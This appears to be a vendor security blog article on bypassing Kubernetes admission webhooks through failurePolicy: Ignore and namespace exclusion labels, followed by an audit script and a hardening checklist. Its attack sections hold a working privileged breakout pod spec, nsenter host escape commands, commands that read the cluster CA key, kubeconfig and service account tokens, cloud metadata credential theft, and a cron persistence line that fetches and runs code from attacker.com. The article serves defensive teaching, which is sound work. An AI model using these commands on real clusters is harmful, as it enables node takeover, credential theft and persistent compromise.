What admission controllers actually do (and don't do)

Kubernetes admission controllers are plugins that intercept API server requests and either validate or mutate them before the object is persisted to etcd. They sit in the API server processing pipeline between authentication/authorization and object persistence. If an admission controller rejects a request, the object is never created.

Two types are relevant here:

  • ValidatingWebhookConfiguration โ€” calls an external webhook to decide whether to allow or reject a request. Used by OPA/Gatekeeper, Kyverno, and custom policy engines.
  • MutatingWebhookConfiguration โ€” calls an external webhook that can modify the request before it's admitted. Used for things like sidecar injection, image tag pinning, or adding security context defaults.

The webhook is a separate process โ€” typically a pod running in the cluster. The API server makes an HTTPS call to it for every admission decision. This design has an obvious failure mode: what happens when the webhook pod is unavailable?

The answer is in failurePolicy: Each webhook configuration specifies what happens when the webhook is unreachable. failurePolicy: Fail means the admission is denied (safe). failurePolicy: Ignore means the admission is allowed (dangerous). The default for many commonly-cited examples and tutorials is Ignore โ€” because it keeps the cluster working during webhook outages.

Check your cluster's admission webhook failure policies bash
# List all validating webhooks and their failure policies
kubectl get validatingwebhookconfigurations -o json | \
  jq -r '.items[] | .metadata.name as $name |
    .webhooks[]? |
    [$name, .name, .failurePolicy] | @tsv'

# Example output showing a dangerous configuration:
gatekeeper-validating-webhook-configuration  gatekeeper.k8s.io  Ignore
kyverno-resource-validating-webhook-cfg      kyverno.svc.k8s.io  Fail

# Also check mutating webhooks
kubectl get mutatingwebhookconfigurations -o json | \
  jq -r '.items[] | .metadata.name as $name |
    .webhooks[]? |
    [$name, .name, .failurePolicy] | @tsv'

Run that command against your cluster right now. If you see Ignore next to any policy-enforcement webhook, you have a problem.

Why teams set failurePolicy: Ignore (and why it's dangerous)

The reasoning is sound on its surface: if your admission webhook goes down, you don't want your entire cluster to stop accepting new pod deployments. CI/CD pipelines break. Autoscaling stops. Critical services can't restart after node failures. So teams set failurePolicy: Ignore to ensure availability โ€” and unknowingly create a security bypass.

"We set it to Ignore because our webhook crashed during an incident and we couldn't deploy the fix because we couldn't deploy anything. We never changed it back."

This is an extremely common pattern. OPA/Gatekeeper's own documentation warns about it but still shows examples with Ignore. The GKE hardening guide and several well-known Kubernetes security benchmarks flag this, yet most production clusters we've seen have at least one webhook with Ignore.

The specific risk depends on what the webhook enforces. Common examples:

  • Image signature verification (Cosign/Notary) โ€” bypass means unsigned images run
  • Privileged container policy โ€” bypass means privileged: true pods get admitted
  • Image registry allowlist โ€” bypass means images from arbitrary registries run
  • Network policy requirements โ€” bypass means pods without network policies get admitted
  • Resource limit requirements โ€” bypass means pods without resource limits run (DoS risk)

The full attack path

Here is the complete attack scenario, step by step. This assumes an attacker who has obtained Kubernetes credentials with create pods permission in any non-system namespace โ€” a surprisingly common situation when developers have over-provisioned RBAC.

1

Identify the webhook and its failure policy

kubectl get validatingwebhookconfigurations -o yaml โ€” the webhook URL and failure policy are in the spec. If failurePolicy is Ignore, proceed.

โ†“
2

Cause the webhook to become unavailable

Send malformed requests that crash the webhook, scale down the webhook deployment if RBAC allows, exploit a memory leak, or simply wait for a node failure or OOM event to take it down.

โ†“
3

Deploy a privileged pod during the window

Submit a pod spec with securityContext.privileged: true, hostPID: true, and a hostPath mount of /. The API server tries the webhook, gets a timeout/connection-refused, and admits the pod because failurePolicy is Ignore.

โ†“
4

Escape to the host

From inside the privileged container, access the host filesystem via the hostPath mount, use nsenter to enter host namespaces, or simply chroot to the mounted host root. Full node compromise.

โ†“
5

Move laterally to the cluster

From the node, access the kubelet API, read service account tokens mounted in other pods, or access the cloud provider's metadata service to get IAM credentials for the entire cluster.

The privileged breakout pod spec yaml
apiVersion: v1
kind: Pod
metadata:
  name: breakout
  namespace: default
spec:
  hostPID: true   # see host process tree
  hostIPC: true   # access host IPC namespace
  hostNetwork: true  # bypass NetworkPolicy
  containers:
  - name: shell
    image: alpine:3.18   # any image โ€” registry policy bypassed
    securityContext:
      privileged: true  # full Linux capabilities on the host
    volumeMounts:
    - name: host-root
      mountPath: /host
    command: ["sh", "-c", "nsenter --target 1 --mount --uts --ipc --net --pid -- bash"]
  volumes:
  - name: host-root
    hostPath:
      path: /           # mount entire host filesystem

# From inside the container:
# chroot /host  โ†’  you are now on the host
# cat /host/etc/kubernetes/admin.conf  โ†’  cluster admin kubeconfig
# cat /host/var/lib/kubelet/pods/*/secrets/*  โ†’  all pod service account tokens

The timing window: Most webhook implementations have a 5-30 second timeout before the API server falls back to the failure policy. This means you don't need a sustained outage โ€” a brief unresponsive period or a single timed request flood during the deployment window is sufficient.

The namespace selector bypass

Even with failurePolicy: Fail, there is a second misconfiguration that creates a bypass: the namespaceSelector. Webhook configurations can be scoped to specific namespaces using label selectors. Namespaces without the required label are excluded from the webhook entirely โ€” their pod admissions are not checked.

Dangerous namespaceSelector configuration yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
  name: gatekeeper-validating-webhook-configuration
webhooks:
- name: validation.gatekeeper.sh
  failurePolicy: Fail       # good so far
  namespaceSelector:
    matchExpressions:
    - key: admission.gatekeeper.sh/ignore
      operator: DoesNotExist   # โ† excludes namespaces with this label

# Attack: create a namespace with the exclusion label
# (requires create namespace + label namespace permissions)
Bypass via namespace label (if RBAC allows) bash
# Create a namespace that is excluded from the webhook
kubectl create namespace attacker-ns
kubectl label namespace attacker-ns admission.gatekeeper.sh/ignore=true

# Now deploy privileged pods in that namespace โ€” webhook won't fire
kubectl apply -n attacker-ns -f privileged-pod.yaml

# Check which namespaces are currently excluded from your webhooks
kubectl get namespace -o json | jq -r '
  .items[] |
  select(.metadata.labels | has("admission.gatekeeper.sh/ignore")) |
  .metadata.name'

The kube-system exclusion: Almost every cluster configuration excludes kube-system from admission webhooks (to avoid webhook failures from preventing system component restarts). If an attacker can create pods in kube-system (which requires RBAC permissions but is not unheard of in misconfigured clusters), they bypass all policy enforcement automatically.

What container escape from a privileged pod looks like

Once a privileged container with host namespace access is running, escape to the node is trivial. Here are the most common techniques:

nsenter โ€” enter host namespaces

Escape via nsenter (requires hostPID) bash
# PID 1 on the host is init (systemd). nsenter with --target 1 enters host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Now you're in the host's root filesystem and all namespaces
hostname    # node hostname, not pod name
cat /etc/shadow   # host's shadow file
crontab -e  # persist via host cron

# Access cloud provider metadata (AWS example)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

hostPath mount โ€” direct filesystem access

Reading sensitive host files via hostPath mount bash
# If the pod was deployed with hostPath: /
ls /host/etc/kubernetes/      # cluster PKI, kubeconfig
cat /host/etc/kubernetes/pki/ca.key   # cluster CA private key

# Steal all service account tokens mounted in other pods on this node
find /host/var/lib/kubelet/pods/ -name "token" -exec cat {} \;

# Write to host cron for persistence
echo "* * * * * root curl attacker.com/beacon | sh" >> /host/etc/cron.d/k8s-check

# If containerd is used (not Docker), access its socket
ls /host/run/containerd/containerd.sock  # can manage all containers on node

The lateral movement jackpot: Service account tokens mounted in pods on the same node include the tokens for every other pod on that node โ€” including pods in other namespaces. If any of those pods have broad RBAC permissions (common for monitoring agents, service mesh components, or CI/CD runners), you can use their tokens to access the Kubernetes API with elevated privileges.

Detecting misconfigurations before an attacker does

Admission controller security audit script bash
#!/bin/bash
# Audit all webhook configurations for security issues

echo "=== Validating Webhooks with failurePolicy: Ignore ==="
kubectl get validatingwebhookconfigurations -o json | \
  jq -r '.items[] | .metadata.name as $n |
    .webhooks[]? | select(.failurePolicy == "Ignore") |
    [$n, .name, "FAIL: failurePolicy=Ignore"] | @tsv'

echo "=== Mutating Webhooks with failurePolicy: Ignore ==="
kubectl get mutatingwebhookconfigurations -o json | \
  jq -r '.items[] | .metadata.name as $n |
    .webhooks[]? | select(.failurePolicy == "Ignore") |
    [$n, .name, "FAIL: failurePolicy=Ignore"] | @tsv'

echo "=== Namespaces excluded from Gatekeeper ==="
kubectl get ns -o json | \
  jq -r '.items[] | select(.metadata.labels |
    has("admission.gatekeeper.sh/ignore")) | .metadata.name'

echo "=== Currently running privileged pods ==="
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] |
    select(.spec.containers[]?.securityContext?.privileged == true) |
    [.metadata.namespace, .metadata.name, "PRIVILEGED"] | @tsv'

echo "=== Pods with hostPID/hostIPC/hostNetwork ==="
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] |
    select(.spec.hostPID == true or .spec.hostIPC == true or .spec.hostNetwork == true) |
    [.metadata.namespace, .metadata.name,
     (.spec.hostPID // false | tostring),
     (.spec.hostIPC // false | tostring),
     (.spec.hostNetwork // false | tostring)] | @tsv'

Run this regularly and pipe the output to your alerting system. Any result from the privileged pods or hostPID checks should be treated as a high-severity finding requiring immediate investigation.

Kubernetes audit logs: Enable audit logging for the Kubernetes API server and alert on responseStatus.code: 201 for pod create events where the pod spec contains privileged: true, hostPID: true, or a hostPath volume mount. These events are visible in audit logs even when admission control is bypassed.

Hardening checklist

Set failurePolicy: Fail on all enforcement webhooks

If the webhook crashes, deny rather than allow. Handle webhook availability as an operational concern, not a security shortcut.

Run webhook pods with PodDisruptionBudget

Set minAvailable: 1 so the webhook pod is never voluntarily drained without a replacement ready. Use multiple replicas across nodes.

Use Pod Security Admission (PSA) as a baseline

Kubernetes 1.25+ includes PSA built into the API server โ€” no webhook needed. Enable restricted profile on all non-system namespaces as a floor below your policy engine.

Restrict namespace label modifications

Only cluster-admins should be able to label namespaces with policy exclusion labels. Audit RBAC for who has update on namespace resources.

Set timeoutSeconds to a low value

Default is 10 seconds. Set it to 3-5 seconds so slow webhook responses fail fast rather than creating a long window of uncertainty.

Scope webhooks with tight namespaceSelector

Use positive selectors (matchLabels: {pod-security: enforced}) that require explicit opt-in, rather than exclusion labels that opt-out.

Enabling Pod Security Admission (Kubernetes 1.25+) yaml
# Label namespaces to enforce PSA
# This runs in the API server itself โ€” no webhook, no failure policy issue

# For production namespaces: enforce restricted profile
kubectl label namespace production \
  pod-security.kubernetes.io/enforce=restricted \
  pod-security.kubernetes.io/warn=restricted \
  pod-security.kubernetes.io/audit=restricted

# Apply baseline to all namespaces by default via admission config
# (in kube-apiserver --admission-control-config-file):
apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: PodSecurity
  configuration:
    apiVersion: pod-security.admission.config.k8s.io/v1
    kind: PodSecurityConfiguration
    defaults:
      enforce: "baseline"
      audit: "restricted"
      warn: "restricted"
    exemptions:
      namespaces: ["kube-system"]  # minimum exemptions
Container Security

Catch container and Kubernetes misconfigurations before they reach production

AquilaX Container Security scans your Kubernetes manifests, Helm charts, and Dockerfiles for privileged pod configs, webhook misconfigurations, and escape-path vulnerabilities โ€” integrated directly into your CI/CD pipeline.